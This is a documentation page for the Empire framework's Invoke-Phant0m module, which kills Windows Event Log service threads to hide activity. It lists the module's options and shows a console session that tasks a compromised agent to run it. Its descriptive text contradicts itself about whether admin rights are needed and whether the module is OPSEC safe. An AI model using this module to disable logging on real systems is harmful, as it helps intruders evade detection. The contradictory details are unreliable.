Invoke-Phant0m - Empire Module


This page contains detailed information about how to use the powershell/management/phant0m Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-Phant0m
Module: powershell/management/phant0m
Source code [1]: empire/server/modules/powershell/management/phant0m.yaml
Source code [2]: empire/server/data/module_source/management/Invoke-Phant0m.ps1
MITRE ATT&CK: T1070, T1089
Language: PowerShell
Needs admin: Yes
OPSEC safe: Yes
Background: No

The phant0m module kills Event Log Service Threads.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the phant0m module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the phant0m module:

Agent
Agent to run module on.

Additional Module Options

This is a list of additional options that are supported by the phant0m module:

OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.

Phant0m Example Usage

Here's an example of how to use the phant0m module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/phant0m

 Author       @leesoh                                                     
 Background   False                                                       
 Comments     Invoke-Phant0m: https://github.com/hlldz/Invoke-Phant0m.ps1 
 Description  Kills Event Log Service Threads                             
 Language     powershell                                                  
 Name         powershell/management/phant0m                               
 NeedsAdmin   True                                                        
 OpsecSafe    True                                                        
 Techniques   http://attack.mitre.org/techniques/T1070                    
              http://attack.mitre.org/techniques/T1089                    


,Record Options--,------------,----------,-------------------------------------,
| Name           | Value      | Required | Description                         |
|----------------|------------|----------|-------------------------------------|
| Agent          |            | True     | Agent to run module on.             |
|----------------|------------|----------|-------------------------------------|
| OutputFunction | Out-String | False    | PowerShell's output function to use |
|                |            |          | ("Out-String", "ConvertTo-Json",    |
|                |            |          | "ConvertTo-Csv", "ConvertTo-Html",  |
|                |            |          | "ConvertTo-Xml").                   |
'----------------'------------'----------'-------------------------------------'

(Empire: usemodule/powershell/management/phant0m) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/phant0m) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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References

See Also

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.